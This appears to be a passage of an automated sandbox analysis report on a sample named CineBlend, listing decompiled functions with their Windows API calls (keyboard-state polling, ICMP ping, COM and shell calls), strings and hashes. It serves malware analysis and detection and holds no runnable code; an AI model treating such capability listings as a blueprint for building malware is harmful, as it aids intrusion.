                                  • VariantClear.OLEAUT32(?), ref: 00BB4A35
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
                                  • String ID:
                                  • API String ID: 429561992-0
                                  • Opcode ID: b53b6b4f58029e5e1e0061f71cac4b8c3a5e02f6f52f59da80f1ece8e2c7277b
                                  • Instruction ID: d5de95764b18b2ba17a862b5309a72c75a7890b51c95ed48bdc2b1c2486b254e
                                  • Opcode Fuzzy Hash: b53b6b4f58029e5e1e0061f71cac4b8c3a5e02f6f52f59da80f1ece8e2c7277b
                                  • Instruction Fuzzy Hash: 7BC13571608301AFD700DF68C88496BBBE9FF89748F1049ADF98A9B211DB71ED05CB52
                                  Function 00BA84DB Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CoInitialize.OLE32(00000000), ref: 00BA8538
                                  • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00BA85D4
                                  • SHGetDesktopFolder.SHELL32(?), ref: 00BA85E8
                                  • CoCreateInstance.OLE32(00BD0CD4,00000000,00000001,00BF7E8C,?), ref: 00BA8634
                                  • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00BA86B9
                                  • CoTaskMemFree.OLE32(?,?), ref: 00BA8711
                                  • SHBrowseForFolderW.SHELL32(?), ref: 00BA879C
                                  • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00BA87BF
                                  • CoTaskMemFree.OLE32(00000000), ref: 00BA87C6
                                  • CoTaskMemFree.OLE32(00000000), ref: 00BA881B
                                  • CoUninitialize.OLE32 ref: 00BA8821
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                  • String ID:
                                  • API String ID: 2762341140-0
                                  • Opcode ID: ec96b8ba656983f9f48bd5ac240ff25cd6cd7110888e677580d6b21ba1568e07
                                  • Instruction ID: 84d393fba7ddaa55b397d1bcdc0577ac92e2b7ccf8d1d3a284dc6d324226b773
                                  • Opcode Fuzzy Hash: ec96b8ba656983f9f48bd5ac240ff25cd6cd7110888e677580d6b21ba1568e07
                                  • Instruction Fuzzy Hash: 16C12A75A04205AFCB14DFA4C884DAEBBF9FF49304B1485A8F919AB761DB30ED45CB90
                                  Function 00BC5EBC Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00BC5FA3
                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BC5FB4
                                  • CharNextW.USER32(00000158), ref: 00BC5FE3
                                  • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00BC6024
                                  • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00BC603A
                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BC604B
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$CharNext
                                  • String ID:
                                  • API String ID: 1350042424-0
                                  • Opcode ID: e0e519ca39a4f6474b0cfc7d986b493ee996bed197bb22f837ab841f45d1ae09
                                  • Instruction ID: efd1fcccc1d1b78225d5686f08b487d3d484dcf937ed7da659972cfc11a8d5a6
                                  • Opcode Fuzzy Hash: e0e519ca39a4f6474b0cfc7d986b493ee996bed197bb22f837ab841f45d1ae09
                                  • Instruction Fuzzy Hash: C8616A75900209ABDF259F54CC84FFE7BF8EB49750F10819DF925AB290C774AA81DB60
                                  Function 00B90378 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00B9039F
                                  • SafeArrayAllocData.OLEAUT32(?), ref: 00B903F8
                                  • VariantInit.OLEAUT32(?), ref: 00B9040A
                                  • SafeArrayAccessData.OLEAUT32(?,?), ref: 00B9042A
                                  • VariantCopy.OLEAUT32(?,?), ref: 00B9047D
                                  • SafeArrayUnaccessData.OLEAUT32(?), ref: 00B90491
                                  • VariantClear.OLEAUT32(?), ref: 00B904A6
                                  • SafeArrayDestroyData.OLEAUT32(?), ref: 00B904B3
                                  • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B904BC
                                  • VariantClear.OLEAUT32(?), ref: 00B904CE
                                  • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B904D9
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                  • String ID:
                                  • API String ID: 2706829360-0
                                  • Opcode ID: c02a0bfb9677073ea2e80e0d78b8b01bbbef998ca3da7b93b85f24b367b35a7a
                                  • Instruction ID: d3c8617b540004388dc3314a54e1ec386a82425b5f92fc3031e1416d073daf19
                                  • Opcode Fuzzy Hash: c02a0bfb9677073ea2e80e0d78b8b01bbbef998ca3da7b93b85f24b367b35a7a
                                  • Instruction Fuzzy Hash: 55414F75A00219DFCF14EFA4D844DAEBBF9EF48344F0080B9EA55A7361DB34A945CBA0
                                  Function 00B9A635 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetKeyboardState.USER32(?), ref: 00B9A65D
                                  • GetAsyncKeyState.USER32(000000A0), ref: 00B9A6DE
                                  • GetKeyState.USER32(000000A0), ref: 00B9A6F9
                                  • GetAsyncKeyState.USER32(000000A1), ref: 00B9A713
                                  • GetKeyState.USER32(000000A1), ref: 00B9A728
                                  • GetAsyncKeyState.USER32(00000011), ref: 00B9A740
                                  • GetKeyState.USER32(00000011), ref: 00B9A752
                                  • GetAsyncKeyState.USER32(00000012), ref: 00B9A76A
                                  • GetKeyState.USER32(00000012), ref: 00B9A77C
                                  • GetAsyncKeyState.USER32(0000005B), ref: 00B9A794
                                  • GetKeyState.USER32(0000005B), ref: 00B9A7A6
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: State$Async$Keyboard
                                  • String ID:
                                  • API String ID: 541375521-0
                                  • Opcode ID: 845f9a26121ed0fa654c5797dbb71afbf4fa53992f33f6eb7c4d7fe817304966
                                  • Instruction ID: 4910c2bc0afec34ebb80a13169b8c1bf90a0196a03cf049a52c3f69a9f4a755b
                                  • Opcode Fuzzy Hash: 845f9a26121ed0fa654c5797dbb71afbf4fa53992f33f6eb7c4d7fe817304966
                                  • Instruction Fuzzy Hash: 6841A4645047C96AFF3197A488457A5BEF0EB25348F0880F9D5C65B1C2EBA89DC8C7E3
                                  Function 00BB0FB8 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • WSAStartup.WSOCK32(00000101,?), ref: 00BB1019
                                  • inet_addr.WSOCK32(?), ref: 00BB1079
                                  • gethostbyname.WSOCK32(?), ref: 00BB1085
                                  • IcmpCreateFile.IPHLPAPI ref: 00BB1093
                                  • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00BB1123
                                  • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00BB1142
                                  • IcmpCloseHandle.IPHLPAPI(?), ref: 00BB1216
                                  • WSACleanup.WSOCK32 ref: 00BB121C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                  • String ID: Ping
                                  • API String ID: 1028309954-2246546115
                                  • Opcode ID: 0e0b307f1a2157b0831860799be252321ccb7b4791579efe75489ad5a15f693f
                                  • Instruction ID: 0d2d552b2ddc8a358e11e7d26b2096fcb7638abab29611cfbeb247b4378b172e
                                  • Opcode Fuzzy Hash: 0e0b307f1a2157b0831860799be252321ccb7b4791579efe75489ad5a15f693f
                                  • Instruction Fuzzy Hash: 9391BE316042019FD720DF19C898F66BBE0EF48318F5489E9F569AB6A2C7B0ED45CB81
                                  Function 00BB9730 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$BuffCharLower
                                  • String ID: cdecl$none$stdcall$winapi
                                  • API String ID: 707087890-567219261
                                  • Opcode ID: b04a92525a79099b189ef9b819747d56d3eb286cacff93e29256e99fcb2cbb23
                                  • Instruction ID: 38d3cb73d84f8f905716944f8eb6b270ffd515c9cb87fd084c0bed934d4180b7
                                  • Opcode Fuzzy Hash: b04a92525a79099b189ef9b819747d56d3eb286cacff93e29256e99fcb2cbb23
                                  • Instruction Fuzzy Hash: 1D51F432A00516ABCF14DF68CD809FEB3E5FF65360B2042A9EA66E7284DB71DD40C790
                                  Function 00BB4189 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CoInitialize.OLE32 ref: 00BB41D1
                                  • CoUninitialize.OLE32 ref: 00BB41DC
                                  • CoCreateInstance.OLE32(?,00000000,00000017,00BD0B44,?), ref: 00BB4236
                                  • IIDFromString.OLE32(?,?), ref: 00BB42A9
                                  • VariantInit.OLEAUT32(?), ref: 00BB4341
                                  • VariantClear.OLEAUT32(?), ref: 00BB4393
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                  • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                  • API String ID: 636576611-1287834457
                                  • Opcode ID: 9b7daba5220b2a69ecfee562b7e1f1a0b036be50b0b22b61c67fe09cd9db3b35
                                  • Instruction ID: aafb6c80e734735b50bab4b3f8bf846b3aed6651763fb5b09c73d57d42d979fe
                                  • Opcode Fuzzy Hash: 9b7daba5220b2a69ecfee562b7e1f1a0b036be50b0b22b61c67fe09cd9db3b35
                                  • Instruction Fuzzy Hash: 4061BF716087019FD710DF64C889FAABBE4FF49714F040999F9819B292DBB0ED48CB92
                                  Function 00BA8BDA Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetLocalTime.KERNEL32(?), ref: 00BA8C9C
                                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00BA8CAC
                                  • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00BA8CB8
                                  • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BA8D55
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BA8D69
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BA8D9B
                                  • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00BA8DD1
                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 00BA8DDA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CurrentDirectoryTime$File$Local$System
                                  • String ID: *.*
                                  • API String ID: 1464919966-438819550
                                  • Opcode ID: 715d874c1403e16f10aed1a18d96662fd2a7d5ac3775997372f9a0448c0ad37d
                                  • Instruction ID: 540bcf1c0a4d8f6d452f562ab5682a91cdad4222decccb740682f78c638467ad
                                  • Opcode Fuzzy Hash: 715d874c1403e16f10aed1a18d96662fd2a7d5ac3775997372f9a0448c0ad37d
                                  • Instruction Fuzzy Hash: 40616DB65083059FCB10EF60C845A9EB7E8FF89310F1449AEF999C7251EB31E945CB92
                                  Function 00BA3DCD Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON
                                  Download Yara Rule
                                  APIs
                                  • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00BA3E14
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00BA3E35
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LoadString$_wcslen
                                  • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                  • API String ID: 4099089115-3080491070
                                  • Opcode ID: c289469dcd45bf9673dde330dac9a42cc551ac9e9950add91818cd4bbbbc0a3b
                                  • Instruction ID: 957ee65a8aa5367f1f149b1d637342903e054af3a83a5f17d227b67c44c63f14
                                  • Opcode Fuzzy Hash: c289469dcd45bf9673dde330dac9a42cc551ac9e9950add91818cd4bbbbc0a3b
                                  • Instruction Fuzzy Hash: 0551807190420AAACF15EBE0CD46EEEB7F8AF04700F2040E5B505B2062EB716F59DB61
                                  Function 00BA5DD8 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetErrorMode.KERNEL32(00000001), ref: 00BA5DE5
                                  • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00BA5E5B
                                  • GetLastError.KERNEL32 ref: 00BA5E65
                                  • SetErrorMode.KERNEL32(00000000,READY), ref: 00BA5EEC
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Error$Mode$DiskFreeLastSpace
                                  • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                  • API String ID: 4194297153-14809454
                                  • Opcode ID: 49290466d9ef7de6c1eaa0151a37f36f83f9b870fbcaf60bf7f448235c9edbb6
                                  • Instruction ID: 15d8a073b11216b8e77493fb38e775f41f0e5ae322169845e3096894f1b1c90f
                                  • Opcode Fuzzy Hash: 49290466d9ef7de6c1eaa0151a37f36f83f9b870fbcaf60bf7f448235c9edbb6
                                  • Instruction Fuzzy Hash: 92317375A04605DFCB20DF68C484AAABBF4EF46304F1480E9E505DB296DB71DF46CB91
                                  Function 00BC46E2 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateMenu.USER32 ref: 00BC4715
                                  • SetMenu.USER32(?,00000000), ref: 00BC4724
                                  • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BC47AC
                                  • IsMenu.USER32(?), ref: 00BC47C0
                                  • CreatePopupMenu.USER32 ref: 00BC47CA
                                  • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00BC47F7
                                  • DrawMenuBar.USER32 ref: 00BC47FF
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                  • String ID: 0$F
                                  • API String ID: 161812096-3044882817
                                  • Opcode ID: 9fe94096e9b38297a9b8ab8ea86c5485906024ce018f509211fddc23edc11608
                                  • Instruction ID: e255b9916527e2970c4541e8cc1f6fdef2c7f753476cb168af41dd39f735f662
                                  • Opcode Fuzzy Hash: 9fe94096e9b38297a9b8ab8ea86c5485906024ce018f509211fddc23edc11608
                                  • Instruction Fuzzy Hash: B0416779A01209AFDB14CFA4D998FAA7BF5FF09314F14406DFA45A7350CB70AA14CB50
                                  Function 00B9282C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00B928B1
                                  • GetDlgCtrlID.USER32 ref: 00B928BC
                                  • GetParent.USER32 ref: 00B928D8
                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B928DB
                                  • GetDlgCtrlID.USER32(?), ref: 00B928E4
                                  • GetParent.USER32(?), ref: 00B928F8
                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B928FB
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 711023334-1403004172
                                  • Opcode ID: d70b793775dc0958708ef62abf8eadd71d371d31ca04e60a4cc445efa30da906
                                  • Instruction ID: db197b1f3c4d0b91ec62269148962774e3191bba37471b04ae73bc0e9f298c49
                                  • Opcode Fuzzy Hash: d70b793775dc0958708ef62abf8eadd71d371d31ca04e60a4cc445efa30da906
                                  • Instruction Fuzzy Hash: 4221A475E00118BBCF05AFA0CC85EEEBBF4EF09350F1041B6B951A72A5DB755809DB60
                                  Function 00B9290D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00B92990
                                  • GetDlgCtrlID.USER32 ref: 00B9299B
                                  • GetParent.USER32 ref: 00B929B7
                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B929BA
                                  • GetDlgCtrlID.USER32(?), ref: 00B929C3
                                  • GetParent.USER32(?), ref: 00B929D7
                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 00B929DA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 711023334-1403004172
                                  • Opcode ID: 89f20770ab58934fc85181fbba01bdae824ac124687a0d69a0970ac26c3302e7
                                  • Instruction ID: eaa186a084d42eaf55a92847f71305a3f6914643cb25e7c4ff22798b1ebdef43
                                  • Opcode Fuzzy Hash: 89f20770ab58934fc85181fbba01bdae824ac124687a0d69a0970ac26c3302e7
                                  • Instruction Fuzzy Hash: 8E216F75E00118BBCF11ABA4CC85EEEBBF8EF09340F1041B6BA51A72A5DB755909DB60
                                  Function 00BC44BF Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00BC4539
                                  • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00BC453C
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC4563
                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00BC4586
                                  • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00BC45FE
                                  • SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00BC4648
                                  • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00BC4663
                                  • SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00BC467E
                                  • SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00BC4692
